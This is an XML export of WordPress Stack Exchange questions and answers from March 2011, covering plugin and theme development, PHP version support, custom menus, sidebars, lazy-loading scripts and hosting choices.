  <row Id="11781" PostTypeId="2" ParentId="11773" CreationDate="2011-03-11T17:19:36.910" Score="2" ViewCount="" Body="&lt;p&gt;A readme update may take a week or more. Sometimes it helps to update just the readme file again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Last Updated&lt;/strong&gt; field is … dead. &lt;a href=&quot;http://wordpress.org/extend/plugins/remove-redundant-links/&quot; rel=&quot;nofollow&quot;&gt;One&lt;/a&gt; of my plugins still shows the date 2010-12-24, but I had three updates in the mean time, the last one a week ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole system feels like an old windows. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-11T17:19:36.910" CommentCount="2" />
  <row Id="11782" PostTypeId="2" ParentId="11764" CreationDate="2011-03-11T17:53:01.870" Score="1" ViewCount="" Body="&lt;p&gt;While all the methods above will work there is a much cleaner way to do it &lt;a href=&quot;http://dougal.gunters.org/blog/2010/12/10/smarter-post-formats&quot; rel=&quot;nofollow&quot;&gt;as shown by Dougal Campbell&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ( the_loop() ):&#xA;    get_template_part( 'format', get_post_format() );&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Going with that method will kill at the conditional statements and mean you don't have to add more if you add support for another post format. All you'll have to do is add the template file.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-03-11T17:53:01.870" CommentCount="2" />
  <row Id="11783" PostTypeId="2" ParentId="11642" CreationDate="2011-03-11T18:13:34.353" Score="0" ViewCount="" Body="&lt;p&gt;If you're going to use more than, say, three of the features in Jetpack, then I'd install it. Each individual feature can be independently disabled if you prefer. I use about half of Jetpack's functionality. Obviously there's going to be bits you don't need. I don't need the shortcodes, for example, since I use oEmbed (built into WordPress).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of Jetpack is that it brings (or will bring) feature parity between WordPress.org and WordPress.com. A lot of times, when users switch from com to org, they miss some of the built-in plugins that com has, like the shortcodes, or latex support, etc. Jetpack provides those same features in one easy-to-manage package, and could make transitioning users from com-to-org much simpler.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-03-11T18:13:34.353" />
  <row Id="11784" PostTypeId="2" ParentId="11642" CreationDate="2011-03-11T18:33:48.673" Score="2" ViewCount="" Body="&lt;p&gt;As pointed out in a recent &lt;a href=&quot;http://andreasnurbo.com/3498/jetpack-wordpress-org-hypocrisy-or-how-fame-gets-you-perks&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt;, only two of Jetpack's eight main features require  WordPress.com interaction. The rest can be installed as discrete plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you accept that you should not install plugins for features you don't use, it makes sense to me to install jetpack when you would like to take advantage of WordPress.com's wicked fast and flexible stats systems, or it's shortlinks, in addition to a handful of its other services; otherwise, if you are trying to use just one or two of WordPress.com's other services like Gravatar or After The Deadline, it's probably best to install those as discrete plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The eight total features are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stats^&lt;/li&gt;&#xA;&lt;li&gt;WP.me shortlinks^&lt;/li&gt;&#xA;&lt;li&gt;Sharedaddy&lt;/li&gt;&#xA;&lt;li&gt;Twitter&lt;/li&gt;&#xA;&lt;li&gt;Widgets&lt;/li&gt;&#xA;&lt;li&gt;Gravatar&lt;/li&gt;&#xA;&lt;li&gt;Hovercards&lt;/li&gt;&#xA;&lt;li&gt;After The Deadline&lt;/li&gt;&#xA;&lt;li&gt;Shortcode embeds&lt;/li&gt;&#xA;&lt;li&gt;LaTeX&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;^ requires a WordPress.com account&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-03-11T18:33:48.673" />
  <row Id="11785" PostTypeId="2" ParentId="11189" CreationDate="2011-03-11T18:51:29.243" Score="0" ViewCount="" Body="&lt;p&gt;This seems to be a known bug that they're not responding to, see here on their forum:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://more-plugins.se/forum/topic/insert-image-button-not-working&quot; rel=&quot;nofollow&quot;&gt;http://more-plugins.se/forum/topic/insert-image-button-not-working&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3883" LastActivityDate="2011-03-11T18:51:29.243" CommentCount="2" />
  <row Id="11786" PostTypeId="1" AcceptedAnswerId="11794" CreationDate="2011-03-11T18:59:49.707" Score="1" ViewCount="47" Body="&lt;p&gt;Recently getting into wordpress plugin development, I started to investigate how to make my code backward compatible to php 4+. I've focused only on php 5.1+ for the past 5 years, so this was an ordeal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, when looking at some plugins, one of them had this description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;IMPORTANT: This plugin is not compatible with PHP 4. If you try to install it on a host running PHP 4, you will get a parse error. WordPress is ending support for PHP 4 as of version 3.2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it true that wordpress is going to stop supporting php prior to php 5?&lt;/p&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2011-03-11T20:27:29.107" Title="Wordpress to end support for PHP 4?" Tags="&lt;php&gt;&lt;coding&gt;" AnswerCount="2" />
  <row Id="11787" PostTypeId="2" ParentId="11786" CreationDate="2011-03-11T19:09:48.983" Score="1" ViewCount="" Body="&lt;p&gt;This is true. See the announcement &lt;a href=&quot;http://wordpress.org/news/2010/07/eol-for-php4-and-mysql4/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3884" LastActivityDate="2011-03-11T19:09:48.983" />
  <row Id="11788" PostTypeId="1" CreationDate="2011-03-11T19:22:18.070" Score="0" ViewCount="140" Body="&lt;p&gt;I'm attempting to display info that'll be defined on some pages in the sidebar within the following (awful) html skeleton (that uses some of my theme's shortcode &gt;.&amp;lt;')&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;center&amp;gt;&amp;lt;img src=&quot;VALUE1&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/center&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;h4&amp;gt;Info&amp;lt;/h4&amp;gt;&#xA;VALUE2&#xA;&amp;lt;br&amp;gt;&#xA;[two]&amp;lt;h4&amp;gt;Release&amp;lt;/h4&amp;gt;&#xA;VALUE3[/two] [two_last]&amp;lt;h4&amp;gt;Rating&amp;lt;/h4&amp;gt;&#xA;PEGI VALUE4[/two_last]&#xA;&amp;lt;br&amp;gt;&#xA;[two]&amp;lt;h4&amp;gt;Developer&amp;lt;/h4&amp;gt;&#xA;VALUE5[/two] [two_last]&amp;lt;h4&amp;gt;Publisher&amp;lt;/h4&amp;gt;&#xA;VALUE6[/two_last]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was planning to display this on relevant pages using a widget and a sidebar that I would choose to display on certain pages. However, this would appear to be far more complicated that I originally imagined.&lt;/p&gt;&#xA;" OwnerUserId="3854" LastActivityDate="2011-08-09T17:21:34.557" Title="Custom Post Fields in Sidebar" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="11789" PostTypeId="2" ParentId="11766" CreationDate="2011-03-11T19:38:06.853" Score="0" ViewCount="" Body="&lt;p&gt;Somewhat related: I don't know if it's reasonable to use &lt;code&gt;$content_width&lt;/code&gt; if you plan on developing a theme that allows flexible design options. For example, let's say that your &lt;code&gt;#content&lt;/code&gt; will be set to &lt;code&gt;512px&lt;/code&gt; if a user has sidebar widgets active and &lt;code&gt;768px&lt;/code&gt; if a user has no sidebar widgets active. I see no reason why CSS isn't enough to handle image overflows in main content areas:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.size-auto, &#xA;.size-full,&#xA;.size-large,&#xA;.size-medium,&#xA;.size-thumbnail {&#xA;    height: auto;&#xA;    max-width: 100%; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This CSS works perfectly fine to not only a) protect against image overflows into adjacent DIVs but also b) properly vertically resize images when they are shrunken down to fit into &lt;code&gt;#content&lt;/code&gt;. Maybe I'm missing something but I don't quite get the need for &lt;code&gt;$content_width&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3884" LastActivityDate="2011-03-11T19:38:06.853" CommentCount="3" />
  <row Id="11790" PostTypeId="2" ParentId="11189" CreationDate="2011-03-11T19:39:23.220" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at Jan's answer to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4016/attaching-media-to-custom-posts-without-editor&quot;&gt;Attaching media to custom posts without editor&lt;/a&gt;&#xA;you'll see that the post type must support either &quot;editor&quot; or &quot;thumbnail&quot;&#xA;to include it by default, but he also shows how to include it yourself.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-11T19:39:23.220" CommentCount="4" />
  <row Id="11791" PostTypeId="2" ParentId="11760" CreationDate="2011-03-11T19:43:22.447" Score="1" ViewCount="" Body="&lt;p&gt;Plugins are not offered as a feature on WordPress.com-hosted blogs. See &lt;a href=&quot;http://en.forums.wordpress.com/topic/no-plugins-on-wordpresscom#post-450343&quot; rel=&quot;nofollow&quot;&gt;this comment&lt;/a&gt;. HTH.&lt;/p&gt;&#xA;" OwnerUserId="3884" LastActivityDate="2011-03-11T19:43:22.447" CommentCount="2" />
  <row Id="11792" PostTypeId="2" ParentId="11759" CreationDate="2011-03-11T19:46:25.597" Score="0" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Excerpt&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. You should be able to control that text by altering your Post's excerpts. You may need to click &quot;Screen Options&quot; at the top right of your Dashboard to have the Excerpt box be displayed when you create or edit posts. HTH.&lt;/p&gt;&#xA;" OwnerUserId="3884" LastActivityDate="2011-03-11T19:46:25.597" />
  <row Id="11793" PostTypeId="2" ParentId="11788" CreationDate="2011-03-11T20:01:43.030" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sidebar-generator/&quot; rel=&quot;nofollow&quot;&gt;Sidebar Generator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-sidebars/&quot; rel=&quot;nofollow&quot;&gt;Custom sidebars&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/per-page-sidebars/&quot; rel=&quot;nofollow&quot;&gt;Per Page Sidebars&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are some plugins that let you define and create per page/post basis sidebars&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/widget-context/&quot; rel=&quot;nofollow&quot;&gt;Widget Context&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/total-widget-control/&quot; rel=&quot;nofollow&quot;&gt;Total Widget Control&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are plugins that let you define and create per page/post basis widgets&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and last if you want to display post meta (custom fields)&#xA;just use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;get_post_meta()&lt;/a&gt; function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_meta($post_id, $key, $single);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-11T20:01:43.030" CommentCount="4" />
  <row Id="11794" PostTypeId="2" ParentId="11786" CreationDate="2011-03-11T20:27:29.107" Score="1" ViewCount="" Body="&lt;p&gt;Yes, version 3.1 is the last version to support PHP 4.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For WordPress 3.2, due in the first half of 2011, we will be raising the minimum required PHP version to 5.2. Why 5.2? Because that’s what the vast majority of WordPress users are using, and it offers substantial improvements over earlier PHP 5 releases. It is also the minimum PHP version that the Drupal and Joomla projects will be supporting in their next versions, both due out this year.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Based on that announcement page, I'd actually expect 3.2 to be released a little later this year (i.e. early Q3), since 3.1 ended up a few months later than that page projected (not a knock on the dev team, FYI - just conjecture on my part).&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-03-11T20:27:29.107" />
  <row Id="11795" PostTypeId="2" ParentId="11766" CreationDate="2011-03-11T20:35:43.683" Score="0" ViewCount="" Body="&lt;p&gt;If you submit a theme to the WordPress directory they'll insist it's set before the theme is OK'd. I'm not sure what it's for: you could use CSS/HTML in all of Philip's scenarios.&lt;/p&gt;&#xA;" OwnerUserId="3876" LastActivityDate="2011-03-11T20:35:43.683" />
  <row Id="11796" PostTypeId="1" CreationDate="2011-03-11T20:45:10.677" Score="0" ViewCount="200" Body="&lt;p&gt;Part of my work is to create Wordpress websites. I usually work on my laptop until I have something good enough to be uploaded to the test server where the client reviews it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create a VirtualHost for every new project so I'm always working with a Wordpress installation in a domain that looks like &lt;code&gt;http://local.example.com/&lt;/code&gt;, but when the site is uploaded to the test server (not controlled by me), the domain may end being something like &lt;code&gt;http://testserver.com/arbitrary/path/example/&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that if I add a custom link to a menu that points to, for example, &lt;code&gt;/events/&lt;/code&gt;, it would work fine locally creating a link to &lt;code&gt;http://local.example.com/events/&lt;/code&gt;, but in the test server the link will point to &lt;code&gt;http://testserver/events/&lt;/code&gt;, which is obviously not right.&lt;br&gt;&#xA;&lt;strong&gt;What I want is to give the custom link an URL that would work both on my local environment and the test server.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already handle the problem of changing the &lt;code&gt;home&lt;/code&gt; and &lt;code&gt;siteurl&lt;/code&gt; Wordpress options by changing those settings on the local database, creating a dump of the datbase, update the database on the server and then restoring the local options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use full URLs for the custom links and having to replace those with the server URL every time I need to update the server's database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For links inside the post content there is a plugin that solve the problem adding two shortcodes: &lt;a href=&quot;http://wordpress.org/extend/plugins/url-shortcodes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/url-shortcodes/&lt;/a&gt;, but I haven't been able to find something similar for Custom Links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help you can give me.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2011-03-11T20:45:10.677" Title="How to add a Custom Link to a Menu with an URL that is relative to the blog URL" Tags="&lt;custom-menus&gt;&lt;urls&gt;" CommentCount="4" />
  <row Id="11797" PostTypeId="2" ParentId="11696" CreationDate="2011-03-11T20:54:37.740" Score="1" ViewCount="" Body="&lt;p&gt;After a LOT of googling, trying to find a solution at the same time as keeping up with the earthquake-situation in Japan, I found a way:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Two scripts for Wordpress&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Using &lt;strong&gt;wp_enqueue_script&lt;/strong&gt;, I added a DeferJS (&lt;a href=&quot;https://github.com/BorisMoore/DeferJS&quot; rel=&quot;nofollow&quot;&gt;https://github.com/BorisMoore/DeferJS&lt;/a&gt;), which allows scripts to be loaded onEvent. Also, a I added a custom-script that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function gingah_comments_onLoad() {&#xA;    var element = document.getElementById(&quot;comments&quot;);&#xA;    var current = document.body.clientHeight+document.body.scrollTop;&#xA;    var target = element.offsetTop;&#xA;    if (current &amp;gt;= target) {&#xA;        $.defer(&quot;jquery-1.5.1.min.js&quot;, {&#xA;            bare: true &#xA;        }).done(console.log('jquery-1.5.1.min.js loaded'));&#xA;        window.onscroll = null;&#xA;    }&#xA;}&#xA;window.onscroll = gingah_comments_onLoad;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which basically does a quick check every time the viewer scrolls the page, to see if the target element (&quot;comments&quot;) is reached. When it is in fact visible in the viewport, DeferJS loads jquery-1.5.1.min.js (and also drops a quick line into the console.log for verification). Also, when it became visible, the effect from scrolling was removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, jQuery will be loaded and ready to use. This method does not, however, allow for use of the &lt;strong&gt;wp_enqueue_script&lt;/strong&gt;-function to load jQuery (but it should be quite possible to extend it to not try to load it if already present). This is because of the obvious separation between PHP and JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I owe a lot of thanks to kaiser for his comments and suggestions on the method, so thank you very much for the help.&lt;/p&gt;&#xA;" OwnerUserId="2983" LastActivityDate="2011-03-11T20:54:37.740" CommentCount="1" />
  <row Id="11798" PostTypeId="1" CreationDate="2011-03-11T20:59:03.910" Score="1" ViewCount="274" Body="&lt;p&gt;I am working on a site that will have up to 30 templates in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to have all those templates at the root of my theme folder cluttering up everything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how I can modify the &lt;code&gt;get_page_templates()&lt;/code&gt; function in the file &lt;code&gt;wp-admin/includes/theme.php&lt;/code&gt; to make it scan sub dirs in my theme folder. But I do not want to change core files manually - how can I apply a filter to &lt;code&gt;get_page_templates()&lt;/code&gt; with a filter that I put in &lt;code&gt;functions.php&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the code you see below is my first attempt at this but it doesn´t work yet when I put the code inside &lt;code&gt;function.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can however put these changes into the core file &lt;code&gt;wp-admin/includes/theme.php&lt;/code&gt; but that is not good practice and should always be avoided right, as auto update can wipe it out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_page_templates_override() &#xA;{&#xA;$themes = get_themes();&#xA;$theme = get_current_theme();&#xA;$templates = $themes[$theme]['Template Files'];&#xA;$page_templates = array();&#xA;&#xA;if ( is_array( $templates ) ) {&#xA;    $base = array( trailingslashit(get_template_directory()), trailingslashit(get_stylesheet_directory()) );&#xA;&#xA;    foreach ( $templates as $template ) {&#xA;        $basename = str_replace($base, '', $template);&#xA;&#xA;        // modifide this by commenting it out so that sub dirs arent blocked&#xA;        // if ( false !== strpos($basename, '/') )&#xA;        //  continue;&#xA;&#xA;        // modified this with FILE_USE_INCLUDE_PATH so sub dirs get scanned&#xA;        $template_data = implode( '', file( $template, FILE_USE_INCLUDE_PATH ));&#xA;&#xA;        $name = '';&#xA;        if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name ) )&#xA;            $name = _cleanup_header_comment($name[1]);&#xA;&#xA;        if ( !empty( $name ) ) {&#xA;            $page_templates[trim( $name )] = $basename;&#xA;        }&#xA;    }&#xA;}&#xA;return $page_templates;&#xA;}&#xA;add_filter('get_page_templates','get_page_templates_override', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3885" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-11T15:22:19.763" LastActivityDate="2011-05-11T15:22:19.763" Title="Loading template files from a subfolder in my theme?" Tags="&lt;themes&gt;&lt;filters&gt;&lt;core&gt;&lt;templates&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="11799" PostTypeId="2" ParentId="11760" CreationDate="2011-03-11T20:59:19.760" Score="0" ViewCount="" Body="&lt;p&gt;If You have a mysqldump with database, You can check it in option table (usually wp_options):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT option_value FROM wp_options WHERE option_name = 'active_plugins';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result is a serialized table of active plugins.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-11T20:59:19.760" />
  <row Id="11800" PostTypeId="2" ParentId="11758" CreationDate="2011-03-11T21:03:08.117" Score="0" ViewCount="" Body="&lt;p&gt;It is not a search, but some &quot;select&quot; by distinct value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In file &lt;a href=&quot;http://iworks.pl/wp-content/blogs.dir/1/files/2011/02/functions-iworks-posts-filter.zip&quot; rel=&quot;nofollow&quot;&gt;functions-iworks-posts-filter.zip&lt;/a&gt; You have a example how to add filter for regular post by some meta_key. I think it is easy to convert.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-11T21:03:08.117" CommentCount="2" />
  <row Id="11801" PostTypeId="1" CreationDate="2011-03-11T21:41:49.757" Score="1" ViewCount="219" Body="&lt;p&gt;I'm experimenting with custom menus for my theme and I think I've discovered what appears to be a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked &quot;Automatically add new top-level pages&quot; on the menu manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then created a new page called &quot;Directions&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page was automatically added to my custom menu as expected. All perfect so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then deleted &quot;Directions&quot; and went to view my site, expecting to see the page disappear from the menu (As posts and categories do with normal menus).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Directions page was still there in the menu and, as you might expect, generated a 404 when trying to access it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did notice that once I went to trash and clicked &quot;Delete Permanently&quot;, the Directions menu finally disappeared from the menu. However, this is inconsistent with how normal pages and posts work when called outside of the custom menu architecture (via get_posts() for example), since they are removed from menu calls when deleted, even if they are still in the trash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be consistent, no?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//functions.php&#xA;&#xA;function my_register_my_menus() {&#xA;  register_nav_menus(&#xA;    array('header-menu' =&amp;gt; __( 'Custom Header Menu' ) )&#xA;  );&#xA;}&#xA;&#xA;add_action( 'init', 'my_register_my_menus' );&#xA;&#xA;&#xA; //this function is called from header.php&#xA;function ce4_get_topmenu(){&#xA;wp_nav_menu( array( 'theme_location' =&amp;gt; 'header-menu', &#xA;                    'container_class' =&amp;gt; 'menu top cat', &#xA;                    'fallback_cb' =&amp;gt; false ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-16T04:30:08.703" LastActivityDate="2011-08-06T22:19:59.357" Title="WP 3.1 Custom Menu Bug?" Tags="&lt;custom-menus&gt;&lt;bug-tracking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="11802" PostTypeId="2" ParentId="11798" CreationDate="2011-03-11T21:42:32.707" Score="1" ViewCount="" Body="&lt;p&gt;There are a couple of tickets on this: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13265&quot; rel=&quot;nofollow&quot;&gt;#13265&lt;/a&gt; and &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11216&quot; rel=&quot;nofollow&quot;&gt;#11216&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it looks less cluttered if you prefix each template with a fixed string: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template-a.php&#xA;template-b.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-11T21:42:32.707" CommentCount="3" />
  <row Id="11803" PostTypeId="1" AcceptedAnswerId="12006" CreationDate="2011-03-11T21:46:56.023" Score="2" ViewCount="266" Body="&lt;p&gt;I'm having pretty heavy (lots of images) Wordpress website with around 20-30k unique users per day (1,000,000 monthly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;German hosting that I use works fine in Europe, but many visitors from the USA, Asia and Australia complain about loading times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know any good, affordable hosting companies that provide fast browsing to people from the USA &gt; Australia &gt; the UK &gt; the rest of Europe &gt; the rest of World (in this order) as most of my visitors are from these places? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current site &quot;eats around 600 GB bandwidth monthly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking about MediaTemple, but I have mixed feelings, many people say it totally sucks and even more love it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love the ability to buy additional bandwidth and using a few different WP blogs using one account. &lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-14T19:14:49.127" Title="Best hosting for Wordpress blog(s)?" Tags="&lt;hosting&gt;" AnswerCount="7" CommentCount="4" FavoriteCount="1" />
  <row Id="11804" PostTypeId="2" ParentId="11798" CreationDate="2011-03-11T21:49:35.070" Score="1" ViewCount="" Body="&lt;p&gt;That part is extremely rigid, see this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4136/is-there-a-wordpress-plugin-that-registers-a-plugin-file-as-a-custom-page-templat&quot;&gt;question about loading page templates from plugin directory&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With current state of related code I would not bother spending time on this. Especially since you want it for convenience (putting template in sub-directories) and not functionality (like loading from plugin folder).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-11T21:49:35.070" />
  <row Id="11805" PostTypeId="2" ParentId="11801" CreationDate="2011-03-11T22:30:46.207" Score="0" ViewCount="" Body="&lt;p&gt;When you edit the menu does it show that page? Have you tried flushing the rewrite rules? ( Do this by going to settings&gt;&gt;permalinks and click save )&lt;/p&gt;&#xA;" OwnerUserId="3861" LastActivityDate="2011-03-11T22:30:46.207" CommentCount="3" />
  <row Id="11806" PostTypeId="2" ParentId="11803" CreationDate="2011-03-11T23:18:52.573" Score="2" ViewCount="" Body="&lt;p&gt;I recently switched my site from DreamHost VPS (managed) to Linode VPS (unmanaged) and think it would probably work for your site.  Plans with 600GB transfer are $60.00 which is very reasonable, as long as the other specifications fit your needs. You can also choose the geographic location of your server like London, UK, Newark, NJ, Atlanta, GA, Dallas, TX and Fremont, CA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the size of your site it's probably in your best interest to use an unmanaged VPS, &lt;em&gt;as long as you or someone you know is able to administer the server properly&lt;/em&gt;. When managing your own VPS, you'll have a whole array of new issues to consider like &lt;a href=&quot;http://serverfault.com/questions/244614/is-it-normal-to-get-hundreds-of-break-in-attempts-per-day&quot;&gt;security&lt;/a&gt; and updates, although Linode will take care of all hardware-related issues for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any questions about Linode just post a comment here and I'll try to answer as best I can. I migrated my site from DH to Linode about a week ago and am running Debian Squeeze + Nginx HTTP server + PHP + MySQL.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-03-11T23:18:52.573" />
  <row Id="11807" PostTypeId="1" AcceptedAnswerId="11811" CreationDate="2011-03-11T23:48:25.760" Score="0" ViewCount="342" Body="&lt;p&gt;My site is using a short vanity URL. This is working across all of the custom theme pages. The only problem is when I logout in the admin it redirects to the long URL, which then 404s. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My General Settings (which I can't change) are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress address (URL): The long URL&#xA;Site address (URL): The short URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like the logout link is generated from wp-includes/general-template.php, but I hate to edit core, non-theme, WordPress files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to solve this logout 404 problem is greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-03-12T01:01:10.007" Title="Change admin logout URL" Tags="&lt;admin&gt;&lt;urls&gt;" AnswerCount="1" />
  <row Id="11808" PostTypeId="2" ParentId="4760" CreationDate="2011-03-11T23:55:45.270" Score="0" ViewCount="" Body="&lt;p&gt;OK - I see you got your answer here about &quot;putting in an id&quot; - Does that mean you put one the database table? Or called one from there? I see in wp-includes/widgets.php that $id is defined as Unique ID string of the current instance (id_base-number).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does this number come from? &lt;/p&gt;&#xA;" OwnerUserId="3886" LastActivityDate="2011-03-11T23:55:45.270" />
